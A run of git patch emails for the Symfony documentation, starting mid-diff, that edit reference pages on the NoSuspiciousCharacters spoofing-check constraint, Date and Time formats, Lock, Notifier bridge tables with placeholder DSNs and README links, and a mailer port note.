-This is a kind of `spoofing attack`_ (called "IDN homograph attack"). It tries to
-identify something as something else to exploit the resulting confusion.
-This is why it is recommended to check user-submitted, public-facing identifiers for
-suspicious characters in order to prevent such attacks.
+Because Unicode contains such a large number of characters and incorporates the
+varied writing systems of the world, incorrect usage can expose programs or
+systems to possible security attacks.
 
-This constraint ensures strings or :phpclass:`Stringable`s do not include any
-suspicious characters. As it leverages PHP's :phpclass:`Spoofchecker`, the intl
-extension must be enabled to use it.
+That's why this constraint ensures strings or :phpclass:`Stringable`s do not
+include any suspicious characters. As it leverages PHP's :phpclass:`Spoofchecker`,
+the intl extension must be enabled to use it.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
@@ -34,8 +36,8 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NoSuspiciousChar
 Basic Usage
 -----------
 
-The following constraint will ensures a username cannot be spoofed by using many
-detection mechanisms:
+The following constraint will use different detection mechanisms to ensure that
+the username is not spoofed:
 
 .. configuration-block::
 
@@ -103,9 +105,13 @@ Options
 
 This option is a bitmask of the checks you want to perform on the string:
 
-* ``NoSuspiciousCharacters::CHECK_INVISIBLE`` checks for the presence of invisible characters such as zero-width spaces, or character sequences that are likely not to display, such as multiple occurrences of the same non-spacing mark.
-* ``NoSuspiciousCharacters::CHECK_MIXED_NUMBERS`` (usable with ICU 58 or higher) checks for numbers from different numbering systems.
-* ``NoSuspiciousCharacters::CHECK_HIDDEN_OVERLAY`` (usable with ICU 62 or higher) checks for combining characters hidden in their preceding one.
+* ``NoSuspiciousCharacters::CHECK_INVISIBLE`` checks for the presence of invisible
+  characters such as zero-width spaces, or character sequences that are likely
+  not to display, such as multiple occurrences of the same non-spacing mark.
+* ``NoSuspiciousCharacters::CHECK_MIXED_NUMBERS`` (usable with ICU 58 or higher)
+  checks for numbers from different numbering systems.
+* ``NoSuspiciousCharacters::CHECK_HIDDEN_OVERLAY`` (usable with ICU 62 or higher)
+  checks for combining characters hidden in their preceding one.
 
 You can also configure additional requirements using :ref:`locales <locales>` and
 :ref:`restrictionLevel <restrictionlevel>`.
@@ -131,15 +137,22 @@ Passing an empty array, or configuring :ref:`restrictionLevel <restrictionlevel>
 Configures the set of acceptable characters for the validated string through a
 specified "level":
 
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MINIMAL`` requires the string's characters to match :ref:`the configured locales <locales>`'.
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` also requires the string to be `covered`_ by Latin and any one other `Recommended`_ or `Limited Use`_ script, except Cyrillic, Greek, and Cherokee.
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_HIGH`` (usable with ICU 58 or higher) also requires the string to be `covered`_ by any of the following sets of scripts:
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MINIMAL`` requires the string's
+  characters to match :ref:`the configured locales <locales>`'.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` also requires the string
+  to be `covered`_ by Latin and any one other `Recommended`_ or `Limited Use`_
+  script, except Cyrillic, Greek, and Cherokee.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_HIGH`` (usable with ICU 58 or higher)
+  also requires the string to be `covered`_ by any of the following sets of scripts:
 
   * Latin + Han + Bopomofo (or equivalently: Latn + Hanb)
   * Latin + Han + Hiragana + Katakana (or equivalently: Latn + Jpan)
   * Latin + Han + Hangul (or equivalently: Latn + Kore)
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT`` also requires the string to be `single-script`_.
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_ASCII`` (usable with ICU 58 or higher) also requires the string's characters to be in the ASCII range.
+
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT`` also requires the
+  string to be `single-script`_.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_ASCII`` (usable with ICU 58 or higher)
+  also requires the string's characters to be in the ASCII range.
 
 You can accept all characters by setting this option to
 ``NoSuspiciousCharacters::RESTRICTION_LEVEL_NONE``.
@@ -148,7 +161,6 @@ You can accept all characters by setting this option to
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _`Unicode® Technical Standard #39`: https://unicode.org/reports/tr39/
 .. _`cyrillic small letter dze`: https://graphemica.com/%D1%95
 .. _`spoofing attack`: https://en.wikipedia.org/wiki/Spoofing_attack
 .. _`single-script`: https://unicode.org/reports/tr39/#def-single-script

From a472b6e6f721ce2ba323a70c761e31f2cd7b3cb6 Mon Sep 17 00:00:00 2001
From: adnen chouibi <adnen.chouibi@gmail.com>
Date: Sat, 14 Jan 2023 20:11:58 +0100
Subject: [PATCH 4478/7107] [Validator] Fix a valid Date and Time constraint
 format

---
 reference/constraints/Date.rst | 2 +-
 reference/constraints/Time.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 999c06f939c..5af42870dc2 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -2,7 +2,7 @@ Date
 ====
 
 Validates that a value is a valid date, meaning a string (or an object that can
-be cast into a string) that follows a valid ``YYYY-MM-DD`` format.
+be cast into a string) that follows a valid ``Y-m-d`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index b3f13894120..e22825e4b91 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -2,7 +2,7 @@ Time
 ====
 
 Validates that a value is a valid time, meaning a string (or an object that can
-be cast into a string) that follows a valid ``HH:MM:SS`` format.
+be cast into a string) that follows a valid ``H:i:s`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From a291585ee34b6ebfd9c404c0a12377d5ac4e46bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 17:56:40 +0100
Subject: [PATCH 4479/7107] Tweak

---
 reference/constraints/Date.rst | 2 +-
 reference/constraints/Time.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 5af42870dc2..98746e4cf63 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -2,7 +2,7 @@ Date
 ====
 
 Validates that a value is a valid date, meaning a string (or an object that can
-be cast into a string) that follows a valid ``Y-m-d`` format.
+be cast into a string) that follows a valid ``Y-m-d`` format (e.g. ``'2023-10-18'``).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index e22825e4b91..336bc2a5b7c 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -2,7 +2,7 @@ Time
 ====
 
 Validates that a value is a valid time, meaning a string (or an object that can
-be cast into a string) that follows a valid ``H:i:s`` format.
+be cast into a string) that follows a valid ``H:i:s`` format (e.g. ``'16:27:36'``).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From 9636026f4359807bd17c4ff05484e92647c8093f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Wed, 22 Mar 2023 19:43:49 +0100
Subject: [PATCH 4480/7107] update default value for framework.ide

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cb84ede3e09..8802395cbdd 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -266,7 +266,7 @@ reverse proxy. See :doc:`/deployment/proxies`.
 ide
 ~~~
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%``
 
 Symfony turns file paths seen in variable dumps and exception messages into
 links that open those files right inside your browser. If you prefer to open

From 612b24415de2cc33df4224c10df4fcd602a8495f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Mar 2023 09:37:52 +0100
Subject: [PATCH 4481/7107] Add the versionadded directive

---
 components/lock.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 6714d3b3f8e..346d589804f 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -550,12 +550,18 @@ does not support blocking, and expects a TTL to avoid stalled locks::
 
     This store does not support TTL lower than 1 second.
 
-The table where values are stored will be automatically generated when your run the command :
+The table where values are stored will be automatically generated when your run
+the command:
 
 .. code-block:: terminal
 
     $ php bin/console make:migration
 
+.. versionadded:: 6.3
+
+    The automatic table generation when running the ``make:migration`` command
+    was introduced in Symfony 6.3.
+
 If you prefer to create the table yourself and it has not already been created, you can
 create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.

From a58ad94d107b9797e0f7572d3ec3f92d79811e33 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 13 Feb 2023 21:28:27 +0100
Subject: [PATCH 4482/7107] [Notifier] Add link to readme bridges

---
 _build/composer.json |   2 +-
 _build/composer.lock |  15 ++---
 notifier.rst         | 140 +++++++++++++++++++++++++++----------------
 3 files changed, 98 insertions(+), 59 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index 1f070475062..2a3b8475f25 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -17,6 +17,6 @@
         "php": ">=8.1",
         "symfony/console": "^6.2",
         "symfony/process": "^6.2",
-        "symfony-tools/docs-builder": "^0.18"
+        "symfony-tools/docs-builder": "^0.20"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index fa23243ea98..0ec00db5a84 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "1243668a34d12e1bfc2a367bb87dd2c9",
+    "content-hash": "1c3437f0f5d5b44eb1a339dd720bbc38",
     "packages": [
         {
             "name": "doctrine/deprecations",
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.18.10",
+            "version": "v0.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "8420c687cff102ee30288380ab682ecf539dbf3b"
+                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/8420c687cff102ee30288380ab682ecf539dbf3b",
-                "reference": "8420c687cff102ee30288380ab682ecf539dbf3b",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
+                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
                 "shasum": ""
             },
             "require": {
@@ -494,6 +494,7 @@
             },
             "require-dev": {
                 "gajus/dindent": "^2.0",
+                "masterminds/html5": "^2.7",
                 "symfony/phpunit-bridge": "^5.2 || ^6.0",
                 "symfony/process": "^5.2 || ^6.0"
             },
@@ -513,9 +514,9 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.10"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.0"
             },
-            "time": "2022-12-30T15:11:58+00:00"
+            "time": "2023-03-23T08:48:27+00:00"
         },
         {
             "name": "symfony/console",
diff --git a/notifier.rst b/notifier.rst
index b744c346d1e..d455c47c056 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -62,39 +62,39 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==============  ====================================  ===========================================================================
-Service         Package                               DSN
-==============  ====================================  ===========================================================================
-AllMySms        ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
-AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
-Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
-GatewayApi      ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
-Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
-Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
-MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
-MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo           ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
-Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
-Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
-Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
-SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
-Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
-Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
-Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
-Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
-==============  ====================================  ===========================================================================
+===============  ====================================  ===========================================================================
+Service          Package                               DSN
+===============  ====================================  ===========================================================================
+`AllMySms`_      ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
+`AmazonSns`_     ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+`Clickatell`_    ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+`Esendex`_       ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+`FakeSms`_       ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
+`FreeMobile`_    ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
+`GatewayApi`_    ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
+`Infobip`_       ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
+`Iqsms`_         ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+`LightSms`_      ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+`Mailjet`_       ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
+`MessageBird`_   ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
+`MessageMedia`_  ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
+`Mobyt`_         ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+`Nexmo`_         ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
+`Octopush`_      ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+`OvhCloud`_      ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+`Sendinblue`_    ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+`Sms77`_         ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
+`Sinch`_         ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+`Smsapi`_        ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+`SmsBiuras`_     ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+`Smsc`_          ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
+`SpotHit`_       ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
+`Telnyx`_        ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+`TurboSms`_      ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
+`Twilio`_        ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+`Vonage`_        ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
+`Yunpian`_       ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
+==============   ====================================  ===========================================================================
 
 .. versionadded:: 5.1
 
@@ -224,24 +224,24 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-======================================  ====================================  =============================================================================
-Service                                 Package                               DSN
-======================================  ====================================  =============================================================================
-AmazonSns                               ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-:doc:`Discord <notifier/discord>`       ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-FakeChat                                ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
-Firebase                                ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
-Gitter                                  ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
-GoogleChat                              ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
-LinkedIn                                ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
-Mattermost                              ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-Mercure                                 ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
-:doc:`MicrosoftTeams <notifier/teams>`  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
-RocketChat                              ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-:doc:`Slack <notifier/slack>`           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
-:doc:`Telegram <notifier/telegram>`     ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip                                   ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-======================================  ====================================  =============================================================================
+=======================================  ====================================  =============================================================================
+Service                                  Package                               DSN
+=======================================  ====================================  =============================================================================
+`AmazonSns`_                             ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+:doc:`Discord <notifier/discord>`        ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+`FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
+`Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
+`Gitter`_                                ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
+`GoogleChat`_                            ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+`LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+`Mattermost`_                            ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+`Mercure`_                               ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
+:doc:`MicrosoftTeams <notifier/teams>`   ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+`RocketChat`_                            ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+:doc:`Slack <notifier/slack>`            ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+:doc:`Telegram <notifier/telegram>`      ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+`Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+======================================   ====================================  =============================================================================
 
 .. versionadded:: 5.1
 
@@ -911,4 +911,42 @@ is dispatched. Listeners receive a
 ..    - Describe notifier monolog handler
 ..    - Describe notification_on_failed_messages integration
 
+.. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md
+.. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md
+.. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
+.. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md
+.. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md
+.. _`FakeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeSms/README.md
+.. _`Firebase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Firebase/README.md
+.. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
+.. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
+.. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
+.. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
+.. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
+.. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
+.. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
+.. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md
+.. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
+.. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md
+.. _`Mercure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mercure/README.md
+.. _`MessageBird`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageBird/README.md
+.. _`MessageMedia`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageMedia/README.md
+.. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
+.. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
+.. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
+.. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+.. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
+.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
+.. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
+.. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
+.. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
+.. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
+.. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
+.. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
+.. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md
+.. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md
+.. _`Twilio`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twilio/README.md
+.. _`Vonage`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Vonage/README.md
+.. _`Yunpian`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Yunpian/README.md
+.. _`Zulip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Zulip/README.md

From b39027f3470ee790b39ab42b6d0828e213d15bf1 Mon Sep 17 00:00:00 2001
From: Sander De la Marche <sander@sumocoders.be>
Date: Sat, 25 Mar 2023 09:40:33 +0100
Subject: [PATCH 4483/7107] Add note about custom port configuration being
 ignored by specific mailer transport DSN

See https://github.com/symfony/symfony/pull/49768
---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 68bcaf297bc..eb1a72ec9c1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -236,6 +236,17 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
 
     Note that the protocol is *always* HTTPs and cannot be changed.
 
+.. note::
+
+    The specific transports, e.g. ``mailgun+smtp`` are designed to work without any manual configuration.
+    Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp` transports.
+    If you need to change the port, use the ``smtp`` transport instead, like so:
+
+    .. code-block:: env
+
+        # .env
+        MAILER_DSN=smtp://KEY:DOMAIN@smtp.eu.mailgun.org.com:25
+
 High Availability
 ~~~~~~~~~~~~~~~~~
 

From 1903a64e0e421d94882d88bfc4b3a484701eb7b7 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 25 Mar 2023 09:48:48 +0100
Subject: [PATCH 4484/7107] Move Notifier bridges doc to the code repo README
 files

---
 notifier.rst          |  12 ++-
 notifier/discord.rst  |  62 -------------
 notifier/slack.rst    | 210 ------------------------------------------
 notifier/teams.rst    | 103 ---------------------
 notifier/telegram.rst |  43 ---------
 5 files changed, 8 insertions(+), 422 deletions(-)
 delete mode 100644 notifier/discord.rst
 delete mode 100644 notifier/slack.rst
 delete mode 100644 notifier/teams.rst
 delete mode 100644 notifier/telegram.rst

diff --git a/notifier.rst b/notifier.rst
index d455c47c056..f1746ffb7b0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -228,7 +228,7 @@ integration with these chat services:
 Service                                  Package                               DSN
 =======================================  ====================================  =============================================================================
 `AmazonSns`_                             ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-:doc:`Discord <notifier/discord>`        ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
